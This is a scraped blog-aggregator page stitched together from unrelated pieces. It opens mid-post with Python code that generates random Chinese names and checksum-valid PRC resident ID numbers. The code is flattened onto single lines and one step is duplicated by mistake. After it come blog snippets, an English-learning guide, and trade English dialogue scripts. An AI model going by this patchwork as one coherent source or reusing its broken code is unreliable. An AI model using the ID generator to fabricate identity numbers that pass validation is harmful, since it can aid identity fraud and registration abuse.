len(first_name_list) - 1) f_name = first_name_list[n] return f_name2.这里一开始想搜罗常用的名字，但参考了其他师傅的代码发现随机生成中文字符更好一点：
def GBK2312(): head = random.randint(0xb0, 0xf7) body = random.randint(0xa1, 0xf9) val = f'{head:x}{body:x}' st = bytes.fromhex(val).decode('gb2312') return st3.随机生成名字的第二个字：(这里用一个list做一个空值，随机取生成的汉字或空值，用于成为随机生成2位名字或3位名字)
def second_name(): second_name_list = [GBK2312(), ''] n = random.randint(0, 1) s_name = second_name_list[n] return s_name4.随机生成名字的最后一个字：(用于满足三个汉字的名字)
def last_name(): return GBK2312()5.拼接
def last_name(): return GBK2312()genIdCard()
随机生成身份证：公民身份号码是由17位数字码和1位校验码组成
18位数字组合的方式是：
1 1 0 1 0 2 Y Y Y Y M M D D 8 8 8 X 区域码(6位) 出生日期码(8位) 顺序码(2位) 性别码(1位) 校验码(1位) - 6位区域码爬取http://www.360doc.com/content/12/1010/21/156610_240728293.shtml，存到了
districtcode.py
区域码 指的是公民常住户口所在县（市、镇、区）的行政区划代码，如110102是北京市-西城区。但港澳台地区居民的身份号码只精确到省级。
- 8位出生日期码，具体Python代码如下：
age = random.randint(16,60) #可调整生成的年龄范围（身份证），这边是16-60岁 y = date.today().year - age #生成的年份 m = date(y, 1, 1) #生成的月份，初始值为1月1日 d = timedelta(days=random.randint(0, 364)) #随机生成的天数 datestring = str(m + d) #加天数得到最终值出生日期码 表示公民出生的公历年（4位）、月（2位）、日（2位）。
- 2位顺序码
顺序码 表示在同一区域码所标识的区域范围内，对同年、同月、同日出生的人编定的顺序号。
- 1位性别码
性别码 奇数表示男性，偶数表示女性。
- 最后一位是校验码，这里采用的是ISO 7064:1983,MOD 11-2校验码系统。校验码为一位数，但如果最后采用校验码系统计算的校验码是“10”，碍于身份证号码为18位的规定，则以“X”代替校验码“10”。
最难的还是校验码的算法，参考师傅的解说：
1.将前面的身份证号码17位数分别乘以不同的系数。从第一位到第十七位的系数分别为：7 9 10 5 8 4 2 1 6 3 7 9 10 5 8 4 2
2.将这17位数字和系数相乘的结果相加。
3.用加出来和除以11，得余数
4.余数只可能是0 1 2 3 4 5 6 7 8 9 10这11个数字，其分别对应的最后一位身份证的号码为1 0 X 9 8 7 6 5 4 3 2。
5.通过上面得知如果余数是2，就会在身份证的第18位数字上出现罗马数字的Ⅹ，如果余数是10，身份证的最后一位号码就是2。
测试代码如下，取了几个真实的身份证号码发现可用：
def test(id_num): id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2] a = 0 print(len(id_num)) for i in range(17): a = a + (int(id_num[i]) * id_code_list[int(i)]) print(check_code_list[a % 11])整合一下（Copy）就变成了如下完整的代码：
def genIdCard(age,gender): area_code = ('%s' % random.choice(list(area_dict.keys()))) id_code_list = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_code_list = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2] if str(area_code) not in area_dict.keys(): return None datestring = str(date(date.today().year - age, 1, 1) + timedelta(days=random.randint(0, 364))).replace("-", "") rd = random.randint(0, 999) if gender == 0: gender_num = rd if rd % 2 == 0 else rd + 1 else: gender_num = rd if rd % 2 == 1 else rd - 1 result = str(area_code) + datestring + str(gender_num).zfill(3) b = result + str(check_code_list[sum([a * b for a, b in zip(id_code_list, [int(a) for a in result])]) % 11]) return b参考
https://www.cnblogs.com/evening/archive/2012/04/19/2457440.html
https://www.cnblogs.com/thunderLL/p/7682148.html
https://blog.csdn.net/ak739105231/article/details/83932151
https://github.com/jayknoxqu/id-number-util
https://blog.csdn.net/tobacco5648/article/details/50613025
https://github.com/xbeginagain/generator
- 6位区域码爬取http://www.360doc.com/content/12/1010/21/156610_240728293.shtml，存到了
- 博客 Jiajun的编程随想 2019-08-05 08:00:00《消息分帧(字符串设计或协议设计)的两种形式》如果你读过Redis的源码，那么一定知道Redis的sds的设计。C语言中，字符串以 `'\0'` 结尾，`printf` 函数遇到 `'\0'` 之后便会停止输出；而sds则是为字符串增加了一个长度，首先我们读取这个字符串长度为多少，然后打印多少个字符...
- 博客 Jiajun的编程随想 2019-08-01 08:00:00《C, Go, Python的错误处理和异常机制杂谈》很多语言都混用了错误和异常，本文中，我们对错误和异常进行定义：- 错误(error) 是不可恢复的，只能通过修复程序或者输入输出来修正的...
- 博客 Jiajun的编程随想 2019-07-29 08:00:00《好的命名是最好的文档》好的命名是最好的文档。包括：- 项目名...
- 博客 Jiajun的编程随想 2019-07-24 08:00:00《读《系统之美：决策者的系统思考》》最近一周读了这本《系统之美》，如题所述，这本书主要讲如何从系统层面来看待问题，而不是从单一的细节。不知道大家是否...
- 博客 Jiajun的编程随想 2019-07-20 08:00:00《Linux高分屏支持》整了个高分屏的本子，由于分辨率实在是太高了，默认情况下字太小了无法看清楚。因此编辑 `.Xresources` ，内容如下：```...
- 博客 Randy's Blog 2019-07-18 08:00:001669
- 博客 Jiajun的编程随想 2019-07-16 08:00:00《GCC默认的头文件搜索路径》```bash$ cpp -vUsing built-in specs...
- 博客 庭说 2019-07-16 00:00:00
一言以蔽之，模仿正确且常用的英语，并不间断地重复练习。
方法论
郝海龙
推荐购买郝老师的《英语自学手册》（￥119），这可能中文互联网最好的英语教程（兼顾导向），内容翔实，逻辑自洽，解决了我很多年来的英语迷思。
我们已经通过模仿与重复学会了一种语言：我们的母语。既然你已经学会了母语，那么其实你本身就知道学习一门语言的方法。只是因为母语习得太过自然，我们大都没有认真想过自己究竟是怎样学会一门语言的：模仿与重复是学习语言的唯一有效的方法。所以很多时候，语言学习给聪明人带来的痛苦甚至更大一些，因为他失去了「聪明」所能带来的巨大优势。
智商不够不是学不好英语的理由，学英语在大多数情况下和智商没有关系。如果你能够掌握自己的母语，那么你没有理由不能掌握另一门语言，因为这是刻在我们每个人基因里的能力。
当我们在学习英语的时候，只是在学习一种另一个国家人人都掌握的知识或技能而已。这种技能一定是能学会的（即与智商无关），否则不会人人都掌握；这种技能一定是有用的，否则没必要人人都掌握。
大部分人学不好英语的原因是：自己没有学习英语的需求。如果你做一件事情没有理由，那么你几乎不可能把它做好。外力的压迫永远战胜不了内心的追求。如果考试压力能够让你学得更好，那么不如你干脆报一个英语考试。
中学英语学习的主要目的不是学好英语，而是在高考英语中获得一个好成绩。
- 为了考取高分，不得不对不同频率的英语用法给予了同等重视，甚至对不常见的英语用法给予了更多的重视，最后使用频率最高的日常英语用不出来。
- 花大量的时间在错误的英语用法上，以至于我们大脑记忆中的用法有一多半都是错误的，脱口而出的自然也是错误的英语。
- 我们的词汇量被锁定在一个远远不够用的水平。
Tinyfool
英语学习方法系列（交流导向）on YouTube：
- 为什么要建立以听力为主导的英语学习方式，以及如何轻松地突破英语听说读写
- Stage 1：美剧/英剧（生词密度低）
- Stage 2：英文播客（生词密度中），后期可以倍速播放
- 怎么用美剧/英剧来提高英语听力水平（如何用舒适的英语学习方式获得最好的效果）
- 感兴趣的剧
- 能听懂 80% 的剧
- 关闭字幕
- 不要边查单词边看剧
- 为什么学英语总感觉没有时间？ 如何获得无穷无尽的学习时间
- 关键不是时间管理
- 要把我们的娱乐建立在我们的学习基础上
- 我们应该如何战胜空虚无聊寂寞冷
- 如何构建循序渐进的英语写作学习体系
- 不要跟中国人练习
- 去外国人为主的地方练习：不要去中文英语角
- 英文社区推荐：Quora（英文问答社区）、Reddit（英文论坛）
- 一定要用拼写检查软件：Grammarly
- 如何通过大量的阅读英文新闻扩大词汇量：英语轻松读 App
- 网上和现实生活中的英文资料则经常包含很多生词。如果每个单词都停下来去查，阅读的效率很低，但是直接跳过的话，很多文章就完全读不懂了。而提高英文阅读能力的唯一行之有效的办法就是多读，怎么在方便、效率和难度之间找到一个平衡点？
- 《英语轻松读》开发手记 —— 为什么我们做了一款不要钱的学英语的 App
- 英语思维存在么？如何构建英语思维？
- 用英语去学习新东西。你会发现你新学的东西很多词汇，你根本不知道中文咋说。
打造英语环境
- 把手机（微信）、电脑和浏览器的语言全部切换为 English。
- 如果你喜欢某个事物或者人物，就去 Instagram、Facebook、Twitter、Reddit……找相关的频道和群组。兴趣和英语结合，将是最好的组合（或者去考雅思托福，逼着学）。例如我就会搜索 One Piece（海贼王）所有的兴趣社区。
查单词
阅读时查词典的正确方法：只查该单词在该语境下的意思。
查词工具
Saladict：沙拉查词。
- Saladict 是一款聚合了大量权威词典的浏览器划词翻译插件，多个查词引擎可以交叉验证查词结果，助你全方位掌握外文词汇。涵盖中、英、日、韩、法、德、西等，支持网页翻译、剪贴板翻译、生词本、快捷键唤醒查词面板和生成当前页面二维码等功能，可以说完全满足了我对查词插件所有的期望。
- 详情参见 沙拉查词：浏览器上最强大的划词翻译插件
- 官网：dicts.cn
- 支持 Android、iOS 和网页版
- Macmillan English Dictionary 2nd Edition
由简单的英文单词构成的英文释义，同义词丰富。 - Merriam-Webster's Advanced Learner's Dictionary
例句较多。 - Merriam-Webster's Collegiate Dictionary
极其专业准确的英英词典，会使用生词解释生词，母语者专用。 - 牛津英汉双解大词典（第二版）
以防看不懂英英词典的释义。 - Merriam-Webster's Collegiate Thesaurus
最为权威、讲究和全面的同、近、反义词书。 - 听力原声例句（欧路词典自带）
宝贵的例句库，真人原声朗读。
词典下载网址：freemdict.com
传统词典
在基础词汇不足的情况下，先使用以下英汉双解词典（推荐前三本）作为垫脚石。当你能够轻松读懂英文解释时，请使用地道的英英词典查单词。
Oxford Advanced Learner’s Dictionary (OALD)
- 双语：《牛津高阶英汉双解词典》（OALD 英汉双解版）。
- 特点：历史最悠久，收词最多，用法示例也最为丰富。
Collins COBUILD Advanced Dictionary (CCAD)
- 双语：《柯林斯高阶英汉双解学习词典》（CCAD 英汉双解版）。
- 特点：所有的单词都放到句子里去解释。
Longman Dictionary of Contemporary English (LDOCE)
- 译名：《朗文当代高级英语词典英英·英汉双解》（LDOCE 英汉双解版）
- 特点：如果你查完 OALD 觉得释义不是你习惯的中文的话，可以考虑换 LDOCE 试试。
Macmillan English Dictionary for Advanced Learners (MEDAL)
- 双语：《麦克米伦高阶英汉双解词典》。
Merriam-Webster’s Advanced Learner’s English Dictionary
- 双语：《韦氏高阶英汉双解词典》。
Cambridge Advanced Learner’s Dictionary (CALD)
- 双语：《剑桥高阶英汉双解词典》。
其中，Merriam-Webster’s Advanced Learner’s English Dictionary 是美式英语词典，其他五本为英式英语词典。如果偏爱美式英语，推荐《柯林斯高级美式英语学习词典》。以上 6 本词典来自 郝海龙 的推荐。
网络词典
万事不决问 谷歌：google.com
- 查单词：imitate
- 查定义：define +imitate
- 查辨析：imitate vs simulate
- 一图胜千言：输入单词，切换到 Google 图片。参见 使用 Google 图片搜索学英语。
当你在 Google 上搜索单词时，以下词典（Urban Dictionary、VoiceTube）就可能已经出现在搜索结果中了：
- 市井词典：Urban Dictionary 的内容涵盖俚语、流行词汇、亚文化词汇或者某种现象的定义。
- VoiceTube：看影片学英语。上万部 YouTube 影片教材，搭配中英文翻译字幕与英汉字典，轻松掌握日常对话、了解单字的发音与用法。
- Dim Sum factory：琳琅满目的广式点心（早茶）对应的英文翻译。
- Genius：对歌曲歌词、新闻故事、诗歌和文件等提供注释和解释。
DeepL：自称刷新机器翻译的记录。
背单词
- 如果你读一篇文章，其中有一半以上的时间花在查词典上，那么我觉得专门花时间背单词效率会更高。
- COCA 20000 算是目前最好的词表选择（之一），欧陆词典 搜得到这个词表。
- 目前看来，最具吸引力的背单词方案即严格按照艾宾浩斯遗忘曲线设计的方案。
- 当你看到一个英文单词时，能够立即想到它的一个中文意思，就可以认为这个单词你记住了。
- 一个生词有多个意思，你也只需要记其中一个意思。
- 记忆的要诀是重复，不是单次的时间长： 5 至 10 秒，最多 30 秒以内。
- 记忆单词的拼写确实很重要，但我们不需要专门做这件事，只要你背的遍数足够多，最终你自然而然就能掌握大部分词的拼写。
- 每天复习要求复习的单词，然后一天新背 300 至 400 个单词是个比较好的指标，感到压力大，至少从每天 100 个开始。
对背单词软件的要求
- 按照遗忘曲线设计的复习周期。
- 有（自动）发音功能。
- 背单词之前给出一个列表（只有英文单词，没有中文释义），手动删除此次认识的单词（不意味着到了下一个复习周期还认识，因此到下次轮到这些词时，依然要推送）。
- 内嵌词典的生词本功能。
多阅读
「读过就算」的阅读方式，最大的问题是：它把你的阅读水平锁死在了你现在的水平。只有你把原来读不懂的东西变成能够读懂的东西，阅读能力才真正能够提高。
一般来说，平均一页生单词的数量在三个以下的书籍，比较适合目前的水平。
阅读材料
底子差
阅读成绩低于雅思 5.5 分。从《新概念英语》第三册和第四册的文章开始练起。每练习半本书，再自测一次，如果能达到雅思 5.5 分的水平，就开始阅读下面提到的文章。
底子好
阅读成绩不低于雅思 5.5 分。
一次性挑选 700 词左右且不同领域的 100 篇文章，放在自己最方便获取的地方。
前期
- 托福 TPO（Toefl Practice Online）31 至 38 的所有阅读文章，共 24 篇
- 剑桥雅思（A 类） 11 和 12 的所有阅读文章，共 24 篇
- 经济学人（Economist） 👍👍👍
- 时代周刊（Time）👍👍
- ScienceDaily.com 👍
- 每日电讯报（The Telegraph）
后期
- 科学美国人（Scientific American）
- 金融时报（Financial Times）
- 卫报（The Guardian）
- 纽约时报（New York Times）
- 纽约客（The New Yorker）（难度较大）
辅助精读
之所以称其为辅助精读法，是因为我们在阅读时，加入了查词典、做句子分析、查语法书等辅助手段。
每篇文章需要读七遍：
- 前三遍解决词汇问题；
- 第四遍和第五遍解决语法问题；
- 第六遍和第七遍体验母语阅读感觉，并彻底读懂文章的字面意思。
这七遍阅读请尽量用整块时间一次性完成，并忽略阅读速度，最好能做到每天练习一篇，这样能起到最佳学习效果，对于养成阅读习惯也会有很大帮助。如果时间不允许，至少隔天完成一篇练习。
第一遍
- 把握文章大意。
- 标记出所有不认识的单词，并尽可能根据语境去推测单词的意思，阅读过程中不要查词典。
在第一遍读完之后，你需要用你手里的词典，一次性查出所有不认识单词的意思，并找一张纸记下来。记的时候，注意几点：
- 如果一个单词有多个释义，只记单词在当前语境下的意思，这需要你通过文章其他内容去判断，看哪一个意思是最顺的。
- 将生词的汉语释义胡乱写在你手里的纸上：
- 只写释义，不写单词。
- 释义不要写在单词旁边。
第二遍
- 如果你发现自己第一遍查出来的单词意思有可能并不是该语境下的意思，你需要针对这个释义作修正。
- 一种很常见的情况是，某个生单词你刚刚查过，马上就不记得了。这时首先请你努力想想它是什么意思，因为刚刚查过，有可能能想起来。如果实在想不起来，就在那张写着中文释义的纸上去找。
第三遍
第三遍要做的事情和第二遍一致。我们期待三遍读完之后，你的单词问题应该能够全部解决。至少在读这篇文章的此时此刻，这些词的意思你都知道。
第四遍
从第四遍开始，这篇文章当中已经没有你不认识的单词了。这时，你需要针对读不懂的句子做句法分析。
第五遍
借助《英语阅读参考手册》，彻底弄清楚面前的语法现象，并把这种语法现象和相应的句子记录下来。
如果你查完语法书依然看不懂句子，这时可以去请教周围或者网上一些英语比较好的朋友，让他们给你彻底讲解清楚，并将他们的讲解记录下来。
第六遍
可能还有些磕磕绊绊，但你终于把一篇文章从头至尾都读懂了。
第七遍
等到第七遍的时候，你会有一种幻觉，觉得你似乎没有翻译，直接把英文读懂了。
第七遍读完之后
- 将文章的意思讲给朋友听，或者自己总结文章大意自己读，判断自己是否读懂文章字面意思。对于读不懂的文章，尽量找到自己读不懂的原因，请教周围英语好的朋友。
- 将生单词全部记录到生词本上（背单词软件），纳入到自己背单词的任务中。
- 将第五遍阅读查阅语法书或询问朋友之后，记录下来的语法现象也添加到记忆软件中。在背单词时，一并复习。
使用辅助精读法完成 100 篇文章后，可以通过词根词缀巩固词汇，推荐以下两本英英词汇书：
- Word Power Made Easy by Norman Lewis
- Merriam-Webster’s Vocabulary Builder by Mary Wood Cornog
练听力
无论是纯听还是跟读，练到每一句话，脑子里一定要想着这句话的意思，只有这样你才能更快地让声音信号和意思建立联系。你也许听过一个说法叫做「磨耳朵」，即长时间把自己浸泡在英语听力材料当中，这种方法几乎无效，原因就是听的时候根本没去想意思，用来磨耳朵的英语最后全被大脑当作了杂音。
- 不看原文，先听一遍录音。
- 通读听力原文并理解其内容。
- 逐句跟读。
- 全文跟读。
- 再听五遍。
建议配合 课文详解 辅助理解。
视频
- Daily English Dictation：日常听力训练，找 Coach Shane。
- YouTube 有哪些值得看的外语频道 - 酱紫表
播客
和 Emily 一起练口语：每一个单词、发音和句子，都讲解得非常详细，并且在 Show Notes 中有中英双语文字稿，适合英语初学者收听。RSS 订阅链接如下：
https://www.ximalaya.com/album/2801092.xmlPocket Casts 收听：https://pca.st/RRAq
纵使我用这个播客磨了几年的耳朵，但英文还是那么差。学习语言，贵在多说，多用，多回顾。
App
- 每日英语听力（欧路词典出品）
- 轻听英语（朗易思听出品）
- Pocket Casts ：相关的英语电台节目，刷牙或洗澡的时候听
大胆说
英式 OR 美式
如果你自己完全没有任何偏好，建议选择美音，因为美音的发音方式相对来说更加放松，与汉语的发音位置更加接近，相比英音，学起来会更容易一些。
音标教学视频
- Underhill 音标视频（英音）：YouTube / Bilibili
- BBC 音标视频（英音）：YouTube / Bilibili 双语字幕版 / BBC Learning English 官网
- Rachel’s English：Sounds of American English（美音）：YouTube / Bilibili 英文字幕版 / Bilibili 机翻中文字幕版 / Rachel’s English 官网
脱口秀（Stand-up Comedy）演员 Norah 有个非常著名的关于口语学习的段子《学好口语的诀窍》，英文名叫 We Should All Learn Acting，直译过来是「我们都应该学习表演」（YouTube | 哔哩哔哩），段子大概的意思是外语要说得地道，全靠演技，强烈推荐大家收看。虽然是个搞笑段子，但不得不说，确实揭示了语言学习的某种本质。by 郝海龙
学语法
一个视频说清整个英语语法体系（重塑你的语法认知框架）- 英语兔
以《英语阅读参考手册》为主，点此下载 电子书；《柯林斯 COBUILD 英语语法大全》为辅。
访问 tingtalk.me/english-grammar 查阅我平时收集的 英语语法知识。
你分析的句子来源，最好是真正的，有良好风格的英文书籍，而不是来自中国人写的语法书。比如，你可以选一本通俗易懂的英文小说，比如《哈利波特》的第一部。或者你可以用英文杂志（比如《TIME》）上的文章。很有趣的是，中国人写的语法书里面，为了演示各种语法规则，经常是“没有困难，制造困难也要上”，造出一些外国人根本不会用的，容易让人误解的句子。这种句子，就算你分析清楚了，反而是有害的。这种丑陋的句子会破坏人的语感，而且让你觉得语法无比困难，打击你的信心。你受到影响之后，就会写出类似的，让外国人看了翻白眼的丑陋句子。by 解谜英语语法 - 王垠
常写作
请使用英文（半角）标点符号，并在标点符号后面空一格。更多书写细节，参阅这篇 书写风格指南。
谈翻译
今日的中文虽因地区不同而互见差异，但共同的趋势都是繁琐与生硬，例如：
- 中文本来是说「因此」，现在不少人却爱说「基于这个原因」
- 本来是说「问题很多」，现在不少人却爱说「有很多问题存在」
- 不会说「一言难尽」，只会说「不是一句话就能够说得清楚的」
- 英文可以说「他的收入的减少改变了他的生活方式」，中文可换成「他因为收入减少而改变生活方式」
- 「心理学家在老鼠的身上进行试验」可改成「心理学家用老鼠试验」
- 本来可以说「名气」，却凭空造出一个「知名度」来，不说「很有名」，却要迂回作态，貌若高雅，说成「具有很高的知名度」
- 明明可以说「这本传记很动人」、「这本传记引人入胜」，或者干脆说「这本传记很好看」，却要说成「这本传记的可读性颇高」
对于这种化简为繁、以拙代巧的趋势，有心人如果不及时提出警告，我们的中文势必愈变愈差，而道地中文原有的那种美德，那种简洁而又灵活的语文生态，也必将面目全非。by 余光中：怎样改进英式中文？──论中文的常态与变态，辑自《明报月刊》1987 年 10 月号。
工具集
微软小英写作
- 考试分类：覆盖 8 种考试类型，可根据自身需求选择不同评分标准。
- 语法检查：自动检查拼写和语法错误，提供修改建议。
- 图片识别：无须输入文字，可一键上传照片，自动识别作文内容。
- 写作助手：单词不会拼，逻辑连接词用哪个，写作助手全搞定。
详情请参阅：英语作文难拿高分？「微软小英写作」帮你指点迷津 by SpencerWoo
Grammarly
- 免费版提供语法纠正（Grammar）、拼写纠正（Spelling）和标点纠正（Punctuation）等基础功能。
- 支持 网页版、 Mac 版、Windows 版、Word 插件 和输入法。但和 Grammarly 最般配的是，把它装进浏览器里，不管是写邮件、还是在社交媒体上发 Post，它就是你身边的写作小助手。
Hemingway Editor
- 文章可读性：makes your writing bold and clear
- 错误的拼写，副词、 被动语态
- 冗长的句子
- 复杂的单词
小尾巴
少儿英文
以友谊、协作和感情为主题的《小猪佩奇》（粉红猪小妹，Peppa Pig）在中国遭到了曲解，但不能否认这是一部非常优秀的情景动画片。你可以通过 腾讯视频、爱奇艺、芒果 TV、优酷 等平台（手机 App 或者智能电视 App）搜索「小猪佩奇英文版」，和小孩一起观看这部可爱的英文学习素材：
- 用语地道，风格幽默，内容贴近日常生活
- 佩奇一家亲密有爱
- 每集一个主题，关键词高度重复（强化记忆）
- 每集 5 分钟，拿得起放得下
- 小孩已经看过中文版，在了解剧情的情况下，会更专注学习动画片中的英语
- 增进亲子之间的交流（少玩手机，多陪孩子）
其实很多小伙伴的单词量都很不少，但就是开不了口，这也许是因为不知道如何把这些单词组合成一句话。那就让我们回到童年，和孩子一起，用最初的方式掌握一门语言。
英文名
- 博客 庭说 2019-07-16 00:00:00
只要我们敢把英文说出口，外国朋友并不会嘲笑我们的中式口音，就像我们不会嘲笑外国朋友说中文一样。
本文出自《毅冰私房英语书：7 天秀出外贸口语》，由庭勃士逐字逐句在键盘上敲击而成。
带文本的音频文件可在 喜马拉雅 里收听。
轻松自如打电话
报价后的电话跟进
- 📕 Cindy
- 📗 Bob
Dialogue
- 📕 Hello, this is Cindy from Ting Trading in China. Is that Bob speaking?
- 📗 Hi Cindy, it's me. How are you (doing)?
- 📕 I'm doing well, thank you! How about you? (I'm doing alright / ok 有消极的意味)
- 📗 Good. Thanks. (不能用 Fine)
- 📕 Bob, I sent you an email last week, with the offer sheet for solar light. Have you gotten it?
- 📗 Really? I just came back from a business trip. I will check my email and get back to you ASAP.
- 📕 Thank you very much! Please reply to my email or call me directly with any questions.
- 📗 Sure.
催促紧急事宜
- 📕 Cindy
- 📗 Carol
Dialogue
- 📕 Hello, can I speak to Bob please?
- 📗 I'm sorry, but he is in Las Vegas for a business trip. May I ask who is speaking?
- 📕 This is Cindy from China. I wanna check with him for the solar light sample. It is very urgent for me to obtain his approval to arrange the mass production.
- 📗 Hello Cindy! This is Carol, the Merchandise Planner here, Bob's colleague. Please send him an email, and I'm sure he checks his email / mailbox these days.
- 📕 Yes, I have already sent him several emails, but have not heart back. May I know when he will be back?
- 📗 Maybe next Monday. I'm not sure.
- 📕 OK, I will call him again next Monday. Thank you, Carol! Nice talking to you!
接到 Cold Call
- 📕 Cindy
- 📗 Nina
Dialogue
- 📗 Hello, is this Cindy speaking?
- 📕 Speaking.
- 📗 Hi, Cindy, this is Nina from Germany. I found your telephone number from your website and would like to check with you about the price of your garden lights.
- 📕 Garden lights? Could you please give me the model number?
- 📗 Sure. ABC-2365, ABC-2300 and ABC-2386. Also, could you recommend some of your best-selling models to Western and Central Europe? So that I could check with the retailers here.
- 📕 Sorry, I beg your pardon? ABC-2365, ABC-2300, and what?
- 📗 ABC-2386.
- 📕 Got it. I will make the offer sheets and send you an email. Er… Could you please give me your email address?
- 📗 No worries. I will send you an email to the address that's provided on your website.
- 📕 Sorry? / Pardon me? / Sorry, Could you repeat that, please?
- 📗 I mean, I will send you an email, and please get back to me ASAP.
- 📕 OK. No problem!
接到老客户电话
- 📕 Cindy
- 📗 Thomas
Dialogue
- 📕 Hi, Thomas, how are you doing?
- 📗 Hello, Cindy. I'm doing well, thank you! I've got good news for you.
- 📕 Really?
- 📗 Yeah, I will place a repeat order, with a 40-feet container. But please make sure you will finish the goods within 2 weeks!
- 📕 Oh, it is extremely difficult for us. Is it possible to give us 25 days?
- 📗 No, I'm sorry. We have to ship them within 20 days in order to do sales promotion.
- 📕 Ok, let me discuss with my colleagues, and I will get back to you with price and delivery time.
- 📗 I'm sorry, Cindy, the price we gave was final and will remain so from my end.
- 📕 Sorry, Thomas. As you know, the labor cost and raw material is the problem…
- 📗 Yeah, I understand. But the most important thing is getting the order, right? I can not take the risk of negotiating the price with my customer. We could make less, but have to let our customer keep the margin. Please consider it and confirm it with me today.
- 📕 Well, I have to discuss it with my boss and I'll get back to you.
- 📗 Great. Thank you!
初次开发潜在客户
- 📕 Cindy
- 📗 Brenda
Dialogue
- 📗 Hello,
who's this?
秘书接到电话：Mr. Weaver's office. Miss Martin speaking.
Good morning, thank you for calling***. This is Joan. How can I help you? - 📕 Hi, this is Cindy from
***Trading in China. We supply solar light and other outdoor lighting items. Could you please transfer this phone call towho are in charge of purchasing./whoever is in charge of purchasing. - 📗 Do you come from China? We've already imported similar products from China.
- 📕 Yes, I know. But please give me an opportunity to show you our new items. All of them meet SAA Standard(s) in Australia and New Zealand.
- 📗 Okay. Please send me an email first with an overview of your company and your products. Also, could you recommend us a couple of articles with your best offer? We have to check and do the comparison. If it all sounds good, I will forward to the email to the buyer.
- 📕 Thank you so much for your help! could you please give me your email address?
- 📗 Sure. brenda@
***.com My name is Brenda. - 📕 OK. Thank you, Branda! Nice talking to you!
客户未回复邮件
- 📕 Cindy
- 📗 James
Dialogue
- 📕 Hi, is James in?
- 📗 Yes, speaking.
- 📕 This is Cindy from China. I sent you the quotes 2 weeks ago, but have not heard back yet.
- 📗 Which company are you calling from, please?
- 📕
***Trading, from Shanghai, China. - 📗 Ah, yes, yes. I've got your offer and transferred it to my assistant. She is now busy checking with all the details and will reply to you before this weekend.
- 📕 OK. Thank you for letting me know! / Thank you for the update!
- 📗 No problem! Have a good one!
- 📕 Thank you, you too.
邮箱出问题
- 📕 Cindy
- 📗 Reno (French)
Dialogue
- 📗 Bonjour! A qui voulez-vous parler?
- 📕 Bonjour! Monsieur! This is Cindy from
***Trading. - 📗 Hello, Cindy! Nice talking to you again! I haven't heard from you for a long time. How are you?
- 📕 Not too bad. Really busy after the Canton Fair. How about you?
- 📗 Good. I just came back from (my) vacation (last week).
- 📕 Woo, where did you go?
- 📗 Monte Carlo (, in Monaco)
- 📕 That sounds awesome! (What did you do there?)
- 📗 Yeah! It was great.
- 📕 By the way, I would like to inform you that I'm having problems with my mail server. I sent you an email just now from my personal mailbox. Please contact me through this email until the problem is fixed.
- 📗 Sure, I will check it and reply to you soon.
Cold Call
- Good morning, this is Sam from China, company name is xxx, may I talk with your purchasing department? I want to know how to apply for your supplier?
- I'm calling to thank you for send inquiry to us, and would like to talk with you a few minutes to learn more details …
- Sorry, the signal is weak so I didn't catch you very well. Regarding price / delivery / order / discount / product / sample, could you send me an email? In this way we can make sure we didn't miss any important points.
展会上接待客户
新客户走近展位
- 📕 Cindy
- 📗 Customer A
- 📘 Customer B
Dialogue
- 📕 Welcome! Please (feel free to) look around.
- 📗 What's the price for this one?
- 📕 Which one? The red one? / The red and green one? / The multicolored one?
- 📗 Yes.
- 📕 Ah, it's our new design. 1.5 US dollars per piece and the MOQ is 3,000.
- 📗 It's quite expensive! / That's expensive!
- 📕 (Smile) They are new arrivals (in-store), so the price is okay. Sir, may I have your name card, please?
- 📘 Sure. Here it is.
- 📕 Thank you! And this is mine. And here is our catalog.
- 📘 Thank you!
- 📗 Have you exported similar items to the UK before?
- 📕 No, we haven't. We only exported to France and Germany.
- 📗 But the price is really expensive. I am worried about retail.
- 📕 For the first order, we could accept 500 or 1000 pieces as a trial to test the market.
- 📗 OK, I will consider it. Could you please send me a sample to the UK?
- 📕 Sure! To the address on this name card (business card)?
- 📘 Yep.
跟老客户打招呼
- 📕 Cindy
- 📗 Jonathan
- 📘 Maggie
Dialogue
- 📕 Hello, Johnny. Glad to see you here!
- 📗 Hi Cindy. Nice to meet you. This is Maggie, my assistant.
- 📕 Hello, Maggie. We have been in touch by email.
- 📘 Yes! Nice to meet you, Cindy!
- 📕 Thank you. It's very nice to meet you as well. Ah, sit down, please. (take a seat.) Would you like something to drink?
- 📗 No, thanks. (I'm good. / I'm fine.) We'd like to go around first, and we could have a meeting tomorrow evening if you have time.
- 📕 Sure. At your hotel?
- 📗 Yes, we're coming here again, maybe tomorrow afternoon, and select some new items of yours. Well, how is the order SP11075?
- 📕 (I sure) we could deliver them on time. I have submitted the inspection booking form, and have asked your forwarder to book the vessel.
- 📗 Good. Thank you.
- 📕 And here are our newly designed items for outdoor use, with color box packaging. Would you like me to bring them to your hotel for the meeting tomorrow? We also have some new models that are not displayed here.
- 📗 Good. I have to do the selection first, and let's discuss then.
- 📕 Sure, how long do you plan to stay in China?
- 📗 Roughly / About / Around one week. And we're going to Singapore to visit another and then back to the US. OK well, I think it's time we get going now. Nice talking to you! We'll see you tomorrow?
- 📕 Sure! See you then.
给客户拿样品
- 📕 Cindy
- 📗 Stephy
Dialogue
- 📕 Hi, can I help you?
- 📗 Hi, this is my name card.
- 📕 Ah, thank you! This is mine.
- 📗 OK, … Cindy, sales representative.
- 📕 Yes, We supply solar lamps and other lighting items.
- 📗 Good. Could I see that one, please?
- 📕 This one?
- 📗 Yep.
- 📕 Here you are.
- 📗 Thank you. What's the price?
- 📕 2.5 US dollars, FOB shanghai.
- 📗 What about the diameter?
- 📕 2 centimeters.
- 📗 OK, MOQ?
- 📕 3,000 pieces.
- 📗 1 piece per color box, right?
- 📕 Yes.
- 📗 Is it possible to pack 2 pieces in one larger color box?
- 📕 Absolutely. But I have to check the packaging cost again, and give you the price later.
- 📗 Sure. Please send me an email with the price for 2 pieces per unit.
- 📕 No problem.
介绍参展产品
- 📕 Cindy
- 📗 Henry
Dialogue
- 📕 Good afternoon, sir. Welcome to our booth!
- 📗 Hi, I would like to purchase some new solar lamps, with a price range between 1 and 3 USD.
